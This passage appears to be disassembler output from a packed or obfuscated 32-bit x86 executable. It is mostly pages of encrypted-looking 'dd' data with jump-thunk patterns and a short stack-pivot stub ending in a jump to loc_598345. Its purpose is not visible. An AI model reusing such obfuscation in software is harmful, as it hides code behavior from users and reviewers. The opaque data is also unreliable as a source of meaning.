		dd 0C1B5FF56h, 8B07EA28h, 0E41BCD85h, 27363507h, 0D0FF3481h
		dd 8D0CC483h, 0EA28C5B5h, 14468B07h, 8304E083h,	840F04F8h
		dd 7, 5E9C033h,	0B8000000h, 1, 2015BD83h, 0F0107E4h, 785h
		dd 0E9C35D00h, 2, 858DCF5Dh, 7EA28EAh, 9F98589h, 8D8D07E4h
		dd 7EA2A25h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	79C35747h, 926B91DBh, 0B5895C53h, 7E422E1h, 1B718D89h
		dd 0F38B07E4h, 2DA185C7h, 64EC07E4h, 0BD090000h, 7E413E1h
		dd 22B985C7h, 7E4h, 95010000h, 7E42631h, 1811B5FFh, 0B70F07E4h
		dd 6195FFC7h, 8907E430h, 0E4215195h, 0FF006A07h, 0E40E4195h
		dd 0EBC08B07h, 0A585F06Fh, 4B028BB5h, 7EED53F9h, 4670712Dh
		dd 0C13EE1E7h, 27065902h, 3E2FEEEBh, 0BBB29E07h, 0B44E4084h
		dd 0D957A6A7h, 90D2B973h, 0E5FE170Dh, 0DDA9AA98h, 8D73EDA6h
		dd 9FE2CC79h, 0EB684769h, 88D5BCA9h, 15606CD5h,	0F512825Ah
		dd 226B67Ah, 0EDD65F18h, 0B47740A3h, 0F2C0167Eh, 0E29208C5h
		dd 0BA2EE2B5h, 62BB5088h, 83794AF5h, 9362E163h,	11E8h
		dd 0CC03000h, 35038AC6h, 8BB0FBB7h, 31433F3Fh, 0B70F09A6h
		dd 8E85BFAh, 8F000000h,	0A557D236h, 0F5F2134Fh,	5CC3815Ah
		dd 0BA000068h, 7C463258h, 9D29C02Bh, 7E432A9h, 0E91834FFh
		dd 12h,	118D7B58h, 0F3511AFBh, 0C48EEB87h, 4D6548Ch, 0F55995C3h
		dd 0ECA9E981h, 870F35D9h, 6, 1F3DBD8Bh,	0F18107E4h, 2D1833A7h
		dd 0BC5F181h, 0B58B2A43h, 7E4218Dh, 8B030C89h, 835E50F7h
		dd 816603E8h, 48D76DD6h, 0B45784BEh, 38F88134h,	0FFFFF98h
		dd 0FFFF9F85h, 0AE8FFh,	4FDE0000h, 0E92C5432h, 497C45D0h
		dd 0DFD9D89h, 0F5907E4h, 686h, 69953300h, 8107E406h, 6CCDC1h
		dd 6810F00h, 8B000000h,	0E41C599Dh, 1B0DBE07h, 0CF800000h
		dd 0E9018BAEh, 6, 0B45B6D49h, 0C08191F2h, 7568D9F2h, 11E9h
		dd 6E2D3D00h, 0B36E854Bh, 0F605BA3Dh, 22F37606h, 0E881E296h
		dd 5D2034FBh, 276DF081h, 0D28108BBh, 1FCF6AF0h,	81FC0189h
		dd 3AFD51E9h, 0B98D8940h, 8107E40Dh, 3AFD4DC1h,	0FD952340h
		dd 4E07E40Eh, 0FFA3850Fh, 890FFFFFh, 3,	8DDE8B66h, 0EA2C958Dh
		dd 29958B07h, 8907E40Eh, 0E41B718Dh, 0A59D8907h, 0C707E415h
		dd 0E42DA185h, 655407h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0E70619ADh, 880F5621h
		dd 2, 0C75B98B2h, 0E422B985h, 7, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0AC3F8269h
		dd 3A1FF4F5h, 0EDB5FF31h, 6A07E40Ah, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7E26C351h
		dd 7BE97990h, 892EE4CCh, 0E423C9B5h, 6195FF07h,	8907E430h
		dd 0E40F3195h, 0FF006A07h, 0E40E4195h, 0EBC08B07h, 0CA7E006Ah
		dd 1A473B42h, 21F44785h, 79785F1Ah, 0D1CBABC1h,	593E299Ch
		dd 0ED83C3CAh, 6B9C0B6Eh, 1F19F47Fh, 2A493489h,	9BAF1A11h
		dd 0E66D82D7h, 0F2256A44h, 6F05EDB8h, 0DA490484h, 79EE2DBDh
		dd 301B00AFh, 8F58E1B9h, 86170525h, 2845F40Bh, 4E6ADF1Eh
		dd 88B867BEh, 0A19FAA3Eh, 59E41Dh, 0ED5502A5h, 99094C60h
		dd 0E9156A14h, 16h, 442EFD01h, 2530000h, 3 dup(0)
		dd 0F0E90000h, 6800000Bh, 7EA2E9Ah, 0FB318CE9h,	2F6768FFh
		dd 82E907EAh, 68FFFB31h, 7EA314Eh, 0FB3178E9h, 321C68FFh
		dd 6EE907EAh, 68FFFB31h, 7EA32CDh, 0FB3164E9h, 346868FFh
		dd 5AE907EAh, 68FFFB31h, 7EA3537h, 0FB3150E9h, 366868FFh
		dd 46E907EAh, 68FFFB31h, 7EA376Fh, 0FB313CE9h, 550357FFh
		dd 0A4C0D22h, 0BA92C2D7h, 6EE67287h, 1D2D263Bh,	4815B6EAh
		dd 0F70C3F0Bh, 0AABFF260h, 5C71A4ACh, 0BD2255F9h, 0BC407053h
		dd 893D23FFh, 0D27CD988h, 94BA9B8Eh, 3B375961h,	0A2CB0EF1h
		dd 23D023F9h, 90D41D33h, 0F9A16DA1h, 0D42D523h,	5E8C0961h
		dd 2A2E5Ah, 0E62D0000h,	367EC8C0h, 1748064Fh, 0F9980302h
		dd 579BA823h, 0F9983468h, 46099C23h, 5EAA421Ah,	2F280F5Ah
		dd 0DF52F223h, 51000000h, 8ED27CD9h, 0C7AAF23Ah, 1C158E97h
		dd 72A28794h, 771C158Eh, 3320396Ah, 75E0D317h, 4C79C60Eh
		dd 0B0935EC3h, 1C168280h, 0DE27707Dh, 0C7F48294h, 7416A35Ah
		dd 79DCCF43h, 9F28290Ah, 4B942243h, 1EA00718h, 0CC891C16h
		dd 7513882h, 64A8AAADh,	3184C811h, 40279D00h, 0A0F33713h
		dd 4FFF566Fh, 703250Bh,	321FDABDh, 778423FAh, 7E2A3C44h
		dd 0E22C75D5h, 0DF65CFBh, 70C30749h, 9EE2C53Fh,	32BE113h
		dd 8EC5ACF6h, 0DF7489BCh, 0C92E796Bh, 7296C2A5h, 9D775h
		dd 71E77300h, 2630293Eh, 0D676DEF3h, 8ACA8EA3h,	39114257h
		dd 64E9D206h, 13285BEFh, 0C6DB0E44h, 788DC090h,	0D93E71DDh
		dd 0BC5C8C6Fh, 0AD6123FFh, 307AD9ACh, 0ADE02925h, 4791BD98h
		dd 0B9FED335h, 2556DC85h, 0C0E647C2h, 9C9B7EC8h, 7F23F997h
		dd 0B3F2E72h, 7323F998h, 0BBF36FE0h, 0C05A5EAAh, 0D0h
		dd 0D27CD9BFh, 92B89B8Eh, 93F85F4Eh, 64F11C15h,	0B3A2B7EAh
		dd 0B1F55BFBh, 0EBD1155Eh, 9C83CDC5h, 0FE5195B9h, 0B57053CDh
		dd 0FA23F9A7h, 347094Dh, 2C3467B0h, 0E1C40E1Ah,	2BE0858Ch
		dd 448CD6E3h, 73729D32h, 9FD09B8Fh, 997CCD86h, 1C183F69h
		dd 0EFC38E66h, 0D2B00149h, 0F80D4089h, 40FDEF5Bh, 0CC2A59Fh
		dd 90AEBE8h, 1A400000h,	63F60B3Eh, 0A9ABC0F3h, 0FD5B70A3h
		dd 440F2457h, 3C9FD306h, 0F5282231h, 0A8DB77E0h, 5A8DC393h
		dd 0B3E1045h, 29593CA6h, 2623FFBEh, 7AD97172h, 85020F05h
		dd 62F4FD43h, 0E57AAEEh, 50337BC5h, 1C166520h, 7CDF101Dh
		dd 1660EE67h, 4326252Fh, 1C166513h, 7EC20B18h, 6517472Ah
		dd 7141C16h, 0AF2A8DBEh, 80EA6678h, 0E55EEFE0h,	9DB194E0h
		dd 86CEA42Dh, 0C5947DC6h, 0E476091h, 0F5E4F640h, 0A52BDB95h
		dd 5447BBECh, 0A7A9AD01h, 7DC71063h, 9D225235h,	1A271C15h
		dd 291086E9h, 0E7F3242Eh, 377FC9C1h, 9CDC0CEFh,	0D4E11C15h
		dd 0BAFB8EA3h, 0F30023F9h, 0B599BCAFh, 81D5846Bh, 56B9EA3Dh
		dd 0F63A1441h, 3FC1F407h, 52FDA4ABh, 69EEC095h,	952A5E9h
		dd 0DC7960D6h, 0AADB2E72h, 468AC491h, 0B7C22457h, 9CAEA59Ch
		dd 5DEF6558h, 0CD820119h, 0FF5095C0h, 26563981h, 239CB7C2h
		dd 89CCE516h, 0D87D92C5h, 0C1629275h, 5A679CB7h, 2569E371h
		dd 564589D2h, 9CB7C21Fh, 7E46BE0h, 4018FF4Eh, 987DD014h
		dd 9B735A68h, 5A6F9F82h, 5F6C9B73h, 6FA2EBF8h, 0A4B3FB5Ah
		dd 0D7107E3h, 29724221h, 0F23B1740h, 0AAA6C8AEh, 28311860h
		dd 7DE8FD2Eh, 0F2A3577Ch, 84AAB2E5h, 0FC3516C1h, 8C6174EBh
		dd 27394D9Eh, 65AFF81Bh, 410A3A1Dh, 0CA8D94CFh,	8AF14488h
		dd 0EFD24C7Dh, 9CB360D0h, 267ABECBh, 20CBFBDEh,	0C3D09B73h
		dd 214A7D92h, 0DCB09B73h, 0ABEF61F5h, 61EE2758h, 0E70D5505h
		dd 45CD222h, 0DDD10000h, 1C158EADh, 159F0034h, 0A33B871Ch
		dd 0BEF21C15h, 0E01C15A1h, 0B1F55FF9h, 0F212D5Eh, 1A5EF463h
		dd 51347EC7h, 23F9C5FEh, 0CE82D481h, 0BE71A184h, 616E23F9h
		dd 80D2618h, 0D3F7BAC4h, 723D6h, 25332700h, 0DA7CDDF2h
		dd 8AC292A7h, 3E164257h, 0ED5DF60Bh, 182586BAh,	0C7DC0F3Bh
		dd 7A8FC290h, 2C4174DCh, 8DF22529h, 0C0104023h,	590D23FFh
		dd 0C2917858h, 173E5788h, 0FB0DF337h, 765DA5EFh, 0F2D71E1h
		dd 0A90B4B85h, 70A1EA79h, 8E345Bh, 0E02A3724h, 0EF15CF9h
		dd 24008DDEh, 5485CEDBh, 1B4645F1h, 4D302534h, 24008E1Dh
		dd 9BCC1522h, 2771798Fh, 0E4BA3D44h, 6FE5F22Bh,	859DF3E4h
		dd 0E1E9FFCBh, 9FD5B497h, 0CDDAD369h, 93B89C83h, 0A15B80B0h
		dd 27707DC4h, 0EB5F90E3h, 9DE7E305h, 859762BAh,	0F03A47CCh
		dd 1E014C09h, 0CB8584EEh, 0DB59F53Eh, 1D8461D3h, 967DC710h
		dd 0FF6293C3h, 0F1E36BEAh, 13387058h, 550B082Ch, 0F5000006h
		dd 0ABC0F365h, 6075A8AEh, 102558F4h, 0C4D90C48h, 5488BB8Fh
		dd 0DD6DE677h, 90C295AAh, 420E485Dh, 0F35BFA0Fh, 0EF15BC0h
		dd 23FFC0DEh, 0E62627DBh, 9B7EC8C0h, 23F9AD08h,	0C7BAFE0Bh
		dd 0F87CC08Eh, 26302910h, 6393BCF5h, 18FB454Dh,	2BDDCB85h
		dd 4C337D8Ah, 0AD004408h, 0D408197Ch, 5B1C158Eh, 1C158F2Bh
		dd 539D95BBh, 0B0E0C30Bh, 0AD1C158Eh, 437356A0h, 481C158Fh
		dd 0CEF50A3Bh, 0C123FFBBh, 0CC104414h, 92D680D9h, 69ADF63Fh
		dd 0FFBC4D7Ah, 0BB9FD423h, 0C78E23FFh, 6073A386h, 6B78142Bh
		dd 347DD582h, 92661D42h, 0E6E307CAh, 5A4h, 71A4B4A6h, 2659FD5Ch
		dd 0D6094311h, 8ABD97C1h, 396CDE75h, 0BC97A605h, 11465B8Eh
		dd 5DF90E41h, 0AAABC0F3h, 0A20C71A4h, 0FFC08FBFh, 0D7D88C23h
		dd 7EC8C0E6h, 8F235336h, 1B281C15h, 668D70EAh, 8623FFBBh
		dd 6596B49Fh, 8A7DC1CEh, 485083CBh, 0F8945C2Bh,	0F65BA57Ah
		dd 2E1569ADh, 0DFF82929h, 90A5D876h, 524589C5h,	0D2074B03h
		dd 3025C28Dh, 757EB1Eh,	245A5052h, 183h, 0C7C0E623h, 158EB4E4h
		dd 63ACB91Ch, 22460719h, 2BF36ACCh, 0F5391142h,	14F771A2h
		dd 23FA6DA9h, 5E4D919Eh, 23FA6B2Ch, 5927286Dh, 6AFE2E11h
		dd 0EEFB23FAh, 0F39FB1BDh, 56A9ED63h, 75E0C30Dh, 0FA2BDE70h
		dd 0B0A5BAEDh, 290C549Eh, 1C1667F9h, 44B8E9F6h,	174A0451h
		dd 0A7F1F90Fh, 0D2DE785Fh, 4185CE86h, 65A8BDEEh, 4A23FA7Bh
		dd 0D60AF93Dh, 3E23FA58h, 7DD3836Ah, 303C134Ch,	5A5E5578h
		dd 2EFFh, 0C0E6FE00h, 9C9B7EC8h, 9C23F997h, 15F8BF8Ah
		dd 2B5C0B3Bh, 0EF438794h, 0D2034F08h, 0F9AF89BDh, 0F15EF123h
		dd 5E822575h, 0B4425Ah,	0D9410000h, 9B8ED27Ch, 4892B8h
		dd 158EED1Dh, 68E4701Ch, 4E0BF401h, 7063D708h, 322569E5h
		dd 88CE8B23h, 75A8F144h, 133F18FFh, 364B7CCFh, 1C1593CFh
		dd 4F321B3Ah, 1C15931Fh, 2D260F1Ch, 99A1D41Dh, 4E317B77h
		dd 23FC7A77h, 0A10F47F4h, 15498B2h, 3E256FB8h, 91C39515h
		dd 7EB1FA4Dh, 6E60EA69h, 0BAC154E7h, 9F0ED11h, 41000004h
		dd 0F70C3F19h, 0ACC1F462h, 5C71A4A8h, 102558FCh, 0A0D40743h
		dd 2921323Bh, 0DC76E1F6h, 8EC294A9h, 3F0F465Bh,	5A3DA70Ch
		dd 23FFC32Ah, 0D97A7B2Fh, 279DD07Ah, 0F73B1740h, 0FB5A73A4h
		dd 0AC072688h, 0B9027B51h, 91780B86h, 0E16DE8C2h, 0A3365498h
		dd 6D3FA962h, 0CDE61760h, 8F82C688h, 0E26EE8C6h, 78EB6699h
		dd 8F1D4D30h, 0EB751C15h, 0E3F0612Fh, 0FC2D3AA1h, 16DBB3E7h
		dd 0DC063A1Ch, 70961C15h, 244B2E78h, 27240009h,	2B75DD7Ah
		dd 0FFEF1848h, 0BF081523h, 0AC73957Bh, 56593373h, 74BE0766h
		dd 4113452Ch, 96C6A9FDh, 9323FFD7h, 0F70C3D86h,	2BE3F6F8h
		dd 0DFC6BED0h, 0A2E9F1CCh, 80B19BB9h, 81EADCE9h, 83C299F6h
		dd 33A625Fh, 4A100000h,	93C6DB0Eh, 0D97B90C3h, 2D2B4073h
		dd 74DFF427h, 4C6FA3D6h, 0C5F85201h, 78ABA7B0h,	2A5DF363h
		dd 0DB0E4015h, 0F9290C76h, 0F623FFC3h, 7CD94142h, 0B8A188D2h
		dd 0D6075A9Eh, 59FC0E62h, 0E317AF46h, 0D77E97C8h, 2A3C4477h
		dd 66EDD41Eh, 1C4DA0E4h, 0E3735AA2h, 0A5D6296Dh, 0F9EC4D90h
		dd 1455223h, 0B52C9BADh, 9AD279A2h, 8A205469h, 0F58823FAh
		dd 645E0E5Ah, 3BDD5A5Eh, 0DC000000h, 2C28C0E6h,	4089DC20h
		dd 981413F6h, 0A1723F9h, 97A3D7C6h, 370B23F9h, 26B7A025h
		dd 3518FBF8h, 23FA5F05h, 0CBB4FD0Ah, 2D80C48Ah,	0E08CC3FCh
		dd 5A5E7388h, 0B3AFh, 7CD9AE00h, 0B89B8ED2h, 0FA5B4E92h
		dd 381D1054h, 6BD2E316h, 5E1C1593h, 0F2457F7h, 0D7BE0846h
		dd 9B8ED280h, 0FD5094BAh, 290F83B4h, 0C7ED6B07h, 2B7EC290h
		dd 6C4F99E2h, 23F9A225h, 1135D6Ah, 4900228Ah, 1F0FBFFFh
		dd 77052605h, 929AFD2Eh, 472A747Ch, 2BE1286Ah, 6503745h
		dd 0CEB3064Ah, 1C17D39Eh, 0FB458E9Bh, 0D80B3F14h, 0C8BA90C3h
		dd 0C2A5F399h, 97A779Bh, 41000002h, 0F70C3F19h,	0ACC1F462h
		dd 5C71A4A8h, 102558FCh, 0A0D40743h, 2921323Bh,	0DC76E1F6h
		dd 8EC294A9h, 3F0F465Bh, 5A3DA70Ch, 23FFC52Ah, 0D97A7B2Fh
		dd 889DD07Ah, 0D34E81CDh, 7EC8C0E6h, 0F9979C9Bh, 2E727F23h
		dd 0F9980B3Fh, 6FE07323h, 5EAABBF3h, 10EC05Ah, 0D9BF0000h
		dd 3A8ED27Ch, 8E643828h, 51079076h, 7089BA03h, 0B1D67E3h
		dd 0F6D89372h, 276A7F1h, 1671AC13h, 16381D1Ch, 42256DE3h
		dd 1C166912h, 0C0D90A17h, 8F75B995h, 44277179h,	23FA77FDh
		dd 0B7A087CFh, 6286B69Bh, 768323FAh, 4387C98Dh,	1B28BFF0h
		dd 856072E8h, 42725512h, 4723F9CAh, 224263Ah, 18482B75h
		dd 1523FA37h, 0A5CBD708h, 448063ADh, 692BE11Eh,	282B125Ch
		dd 357FD782h, 17DD2252h, 0D11A271Ch, 0C12D3F87h, 0F4CBC742h
		dd 0EB77A78Ch, 67741C17h, 4B5DD336h, 1538E752h,	7C95C675h
		dd 768173D7h, 0CEC2A55Eh, 102ADAAh, 12480000h, 5BFE1346h
		dd 0A1B3C8FBh, 0F56378ABh, 3C172C5Fh, 4A7DB0Eh,	0FD301A39h
		dd 0B0E36FE8h, 6295BB9Bh, 1346084Dh, 316144AEh,	2E23FFC6h
		dd 9178797Ah, 0F5488CC6h, 8E98C8ABh, 88951C15h,	35153E57h
		dd 1B68ED02h, 6346FD16h, 1C166633h, 0C172B38h, 664C8223h
		dd 0DF193EC2h, 9F1A4D96h, 88D27CD9h, 6D9EB8A1h,	97BEA5F9h
		dd 0E86D86B7h, 0D6BD3366h, 368ACE7Eh, 158F2353h, 0D21B281Ch
		dd 777395A1h, 0D202E52Dh, 0D71C158Eh, 3C1F99CAh, 23FFBC11h
		dd 71C50916h, 3F83CB8Ah, 0B3A2BBECh, 0EA6A519Bh, 0E2001E62h
		dd 0CBD46812h, 0A80B3C85h, 84192032h, 6E0F2D6Fh, 1D31243Dh
		dd 0F752EAD9h, 9D4467C4h, 2E2035B2h, 3F6FE6FBh,	0A4F73B19h
		dd 0EF47775Ah, 37446043h, 0A1B7AAEEh, 3E2169B3h, 6043EF0Eh
		dd 59CDFE0Bh, 4E9BB44Fh, 0FF144707h, 0B7B4F856h, 0Ch, 2D3F69BCh
		dd 3FCA85C4h, 30AFE08Dh, 93D781D9h, 5599B5A0h, 185CF462h
		dd 0DC203225h, 9CE06AE9h, 5CA0AAA9h, 2165EF69h,	0E226262Eh
		dd 0A8EC6AEFh, 0E789576Ah, 4C781h, 0BD550000h, 4, 875DEF29h
		dd 685C243Ch, 46B4h, 50241489h,	405E089h, 83000000h, 48704E8h
		dd 2C895C24h, 2D7E6824h, 148B07EAh, 4C48124h, 54000000h
		dd 83242C8Bh, 0EC8104C4h, 4, 8F241489h,	34FF0845h, 0C4835D24h
		dd 24148B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_598345
; ---------------------------------------------------------------------------
		db 0A4h, 0C4h, 0B2h
		dd 6B91DB79h, 85C5392h,	0B8826083h, 7EA3896h, 0E0FFC503h
		dd 1D91C9DDh, 18D09626h, 6DCDD43Fh, 54FE76E0h, 37E068B1h
		dd 65949A36h, 0B38475Ch, 9A9D01Dh, 4D8281F1h, 6E75DEB2h
		dd 111B8B84h, 6E415C19h, 21AC6B8Fh, 0E0D5ADCh, 23015B16h
		dd 7C4B1DA6h, 8793B50h,	66D480A9h, 6F176FFBh, 7150F8B2h
		dd 9C29996h, 71114972h,	3E3C531Ch, 564EDCD1h, 426D434Fh
		dd 18DD498Fh, 3D9734B2h, 5733CDC2h, 67C5DEE1h, 6E73EFD3h
		dd 1A1A38EAh, 4777EC9h,	0DCE9h,	0A7253200h, 459CD73Ch
		dd 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h, 0ABDA00B3h
		dd 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh
		dd 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch
		dd 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh
		dd 52D0008Ah, 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h
		dd 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h
		dd 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h
		dd 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh, 43F1B6D0h
		dd 0F0A8CDh, 0
		dd 129D7447h, 5E99E0E3h, 9 dup(0)
		dd 15A7E900h, 88680000h, 0E907EA3Ch, 0FFFA436Fh, 0EA3D6768h
		dd 4365E907h, 3068FFFAh, 0E907EA3Eh, 0FFFA435Bh, 0EA3F7768h
		dd 4351E907h, 968FFFAh,	0E907EA40h, 0FFFA4347h,	0EA40BF68h
		dd 433DE907h, 8268FFFAh, 0E907EA41h, 0FFFA4333h, 0EA425C68h
		dd 4329E907h, 0C68FFFAh, 0E907EA43h, 0FFFA431Fh, 0EA446B68h
		dd 4315E907h, 6068FFFAh, 0E907EA45h, 0FFFA430Bh, 0EA46AD68h
		dd 4301E907h, 1A68FFFAh, 0E907EA48h, 0FFFA42F7h, 0EA497568h
		dd 42EDE907h, 0BF68FFFAh, 0E907EA4Ah, 0FFFA42E3h, 0EA4C9D68h
		dd 42D9E907h, 9468FFFAh, 0E907EA4Dh, 0FFFA42CFh, 0F589AB83h
		dd 52E606DFh, 0B246603Ch, 15A9BD9Ch, 740824FFh,	21FC559Bh
		dd 815B7105h, 0DBB9CF63h, 3E1B31C5h, 2FDF9226h,	0A89BCDB2h
		dd 0AC448913h, 946BE84Ah, 4213A89Bh, 9B896ED9h,	2D0A13A8h
		dd 495BC415h, 5A795674h, 0DA1D4470h, 0AA88142Bh, 71033B94h
		dd 7898710Fh, 4284760Dh, 697BE414h, 0C65A724Fh,	55754EECh
		dd 0C6F2043h, 6EBE172Fh, 0A4DCF2D0h, 43134602h,	0F952E7CCh
		dd 28C09E7h, 5013A6BFh,	7902AFE7h, 0CE13A680h, 2AD589BDh
		dd 6CD877FDh, 0E78AFAFAh, 7E90CDC2h, 25DFh, 424D0800h
		dd 0E99F1C6Ch, 0A713A6A9h, 0A659063Eh, 2513A6AAh, 8B295014h
		dd 0A68193B1h, 0D8780759h, 0CF7Eh, 7956A700h, 805B2961h
		dd 815E2C64h, 0A17B1969h, 9EB04B83h, 1E2D0AD8h,	42A0DAA1h
		dd 0BF0F7814h, 42A0BD42h, 57B01914h, 70906907h,	698B9D38h
		dd 42A46174h, 0B9943214h, 0B8CA659Dh, 15A9C19Eh, 0D20A22FFh
		dd 0A9C9A240h, 601B7497h, 0C4146D81h, 0AA4CF062h, 0DD2F9325h
		dd 0B250D2CBh, 821E13A6h, 0BB568EA4h, 56F4CE62h, 2E516377h
		dd 9BFD4D61h, 0BAC7BC39h, 2A9313A6h, 98AAC09Eh,	40522C9Fh
		dd 0A9F96214h, 8014300Bh, 1F738F6Ah, 62357A8Ch,	57D0343h
		dd 0DE000013h, 3A50E406h, 97AD4161h, 0F70DA1BBh, 5A700418h
		dd 0F6CF637Fh, 607C57F0h, 0BEDCB6CCh, 2036142Ah, 8199768Ch
		dd 0D8A3AEDh, 13A89C76h, 56109FE4h, 0B5CB5F7Bh,	5B2CC0D8h
		dd 1C6C424Dh, 0A6A9E99Fh, 0EE3EA713h, 0A615B57Ch, 0B2C44E78h
		dd 0B4BC3FECh, 0B90B13A6h, 0B425DA57h, 48B113A6h, 0B1ED9936h
		dd 0D877FD4Eh, 0B387h, 7956B000h, 25972961h, 16762733h
		dd 0D6F002B8h, 15A7DFFBh, 0F801B9A3h, 9DAF3CBFh, 422131A4h
		dd 31492614h, 5FAA879Dh, 0D8106983h, 0D0208E01h, 0A63ED153h
		dd 0C13EA013h, 13A63F3Ah, 58B14D89h, 56A7D1F7h,	93FCDBEDh
		dd 0AC8725FFh, 0ABBD5890h, 57A70788h, 8DC5DBB9h, 8502E0F2h
		dd 14406725h, 0E07ECE37h, 3F55E905h, 0C1F44864h, 22623577h
		dd 12265CE2h, 0E5BD0000h, 40192FC3h, 9A768C20h,	0F7D6EC80h
		dd 5E394FE3h, 2FD5AE42h, 0AB3F5B36h, 99DBB95h, 6BFF15F3h
		dd 0CC607855h, 17EC6919h, 0C313A89Dh, 7B56EF7Eh, 0D8B5CB5Fh
		dd 5D95B38Dh, 4D569C2h,	29617956h, 0D2667E5Bh, 8EC6E0BCh
		dd 7BCBE3C0h, 0D5E701DDh, 5E3BD9B3h, 86093446h,	0D3A82587h
		dd 7F1442A0h, 94AE8A16h, 7E305F82h, 8CE3B12Eh, 50B213A6h
		dd 8D8A71EEh, 0DF4813A6h, 0A68D8F74h, 0D0E24B13h, 747F88F1h
		dd 0E42CBC8Ah, 0D3238B04h, 0ED920F71h, 69EB2CFEh, 83F5EE00h
		dd 51ECC8E3h, 0B6D9B0E8h, 0C946A8F8h, 1310DB32h, 472537A0h
		dd 0F76B96CAh, 8BDB4414h, 64F810EDh, 559714Eh, 62C654BAh
		dd 5D77FD3Dh, 86000011h, 0E2F88CAEh, 3F55E909h,	9FB54963h
		dd 218ACC0h, 9E770B27h,	824FF58h, 66845E74h, 0C8DEBCD2h
		dd 29411E34h, 0B532E295h, 13A89ECEh, 56B8478Ch,	38522E79h
		dd 81B9CDACh, 0C3558DE6h, 0C11BEF61h, 0A4E2C0F2h, 42734239h
		dd 95A71014h, 835E1D72h, 3B942F67h, 5FB86EEBh, 167613A6h
		dd 0A65FE299h, 0AE077013h, 1A94FB1Ah, 7A474DCAh, 0AC151442h
		dd 8534C774h, 41931B8Bh, 0C7175CFh, 0EE005FE8h,	96691551h
		dd 3FD092C9h, 40h, 39424D68h, 98E8415Fh, 0A6EF871Bh, 0F875D513h
		dd 13A6F003h, 0BD0D66CFh, 0F129431Fh, 0C8664456h, 4B40D4EAh
		dd 13A6F0B2h, 5CF008E5h, 2526846h, 0F05C23A0h, 91FA13A6h
		dd 9133B97Fh, 0C2000010h, 0AE2F2092h, 38286868h, 228C0326h
		dd 3B5B34D2h, 78566803h, 0A86951FBh, 39AF1F13h,	0F14B903Dh
		dd 24C2126Bh, 859B2F47h, 815890A8h, 572CA90Eh, 313A932h
		dd 74F1419Ah, 14430B2Dh, 963484EDh, 0F70DA1B9h,	38CA021Ah
		dd 22159DC6h, 788A1E46h, 64413A55h, 26A3F34Ch, 1C735C88h
		dd 2F976D6h, 0D003F8A3h, 0E7405634h, 2E667E5Bh,	0E3E63A93h
		dd 285A467Bh, 101662E8h, 0F5CD0000h, 50293FD3h,	0AA869C30h
		dd 7E6FC90h, 6E495FF3h,	1FE5BE52h, 0BB4F6B46h, 19ADCBA5h
		dd 7B0F2503h, 0DC708865h, 7FC7929h, 0D313A89Fh,	8477FF8Eh
		dd 4B1442A0h, 0A6B8D0ADh, 906F0C83h, 59A9447Ch,	42A027DCh
		dd 0F14AB314h, 99F524A1h, 3CA513A8h, 760D8AECh,	0E413A89Ah
		dd 0ED8B697Bh, 4E64F810h, 6B095971h, 4B6B448Dh,	0D1F7813h
		dd 5C1F7047h, 75BE5F80h, 1BF63175h, 96EF8AC2h, 0B503C946h
		dd 68D1144Ch, 321ABF14h, 9A206062h, 0F84h, 0D165875Fh
		dd 2EC2E2BBh, 8E223C18h, 0F1859978h, 50E400DBh,	0FDD87177h
		dd 5D374DE1h, 0B795AB3Fh, 1AF70DA1h, 0BBB6E02h,	0A8E0E98Eh
		dd 91206513h, 0FD19F492h, 0D8EF23C5h, 0C077642Eh, 5E3B5567h
		dd 0D684F646h, 0E4A8D7ACh, 0B07E4456h, 0CD6BBBD3h, 5A0D8F0h
		dd 0EBE92DF3h, 4254744Dh, 1CBAE1A5h, 53EE2640h,	0F996641h
		dd 9B3EE05Ch, 67000009h, 73C52092h, 7FDFF3D2h, 0D2E4AFE6h
		dd 7ECEE0AFh, 0A89EC501h, 0D6268F13h, 0AF435B38h, 2D9DBC99h
		dd 3DDB60A0h, 5D0A429Bh, 13A84FA2h, 0BB0BA3ECh,	4C63883Eh
		dd 0CBAA4614h, 0D30A5EB7h, 60623164h, 0ECE9A20h, 3D150000h
		dd 9871871Bh, 0F2CEE478h, 4F2E44D8h, 0B691A73Bh, 0C72D069Ah
		dd 397B38Eh, 61F513EDh,	0C3576D4Bh, 24B8D0ADh, 0BF44C171h
		dd 1B13A8E0h, 309247D6h, 42A0CCB3h, 0F218A14h, 0B00018F5h
		dd 9C00273Eh, 0B93A5109h, 60CD2D3Ch, 6AF3F37Ch,	0E33B3FD2h
		dd 0E4B2788Ah, 73B7EF07h, 0DEFED775h, 47772FCCh, 0E05BE4B8h
		dd 8E91Dh, 84774600h, 4B1442A0h, 45C2CFADh, 1442A0BEh
		dd 225AB31Ch, 3D527587h, 20A42171h, 7213A899h, 401BB909h
		dd 96341224h, 330DA1B9h, 52E0D7C1h, 35476FA3h, 0EE263E1Bh
		dd 0E6367817h, 4C06A369h, 93107214h, 1B8C16ECh,	10EF016Ah
		dd 0C99453A7h, 73B36231h, 0E0BEDh, 0DE00D800h, 3B5B344Ah
		dd 9BB591A7h, 0FE12F107h, 5D79546Ah, 510AF0C9h,	0B0C65A76h
		dd 0E24B8D6h, 70861A30h, 34E77B93h, 0E1700784h,	99DE13A8h
		dd 16F4920Ah, 9BF1A000h, 259FD12Ah, 0D11CF913h,	3585DEF2h
		dd 41E7C2C3h, 618EC96h,	86957240h, 42ED7209h, 9F64E114h
		dd 3B1442EDh, 0BF1881D2h, 0B2ECFD6Fh, 0FB0434DFh, 42ACF97Eh
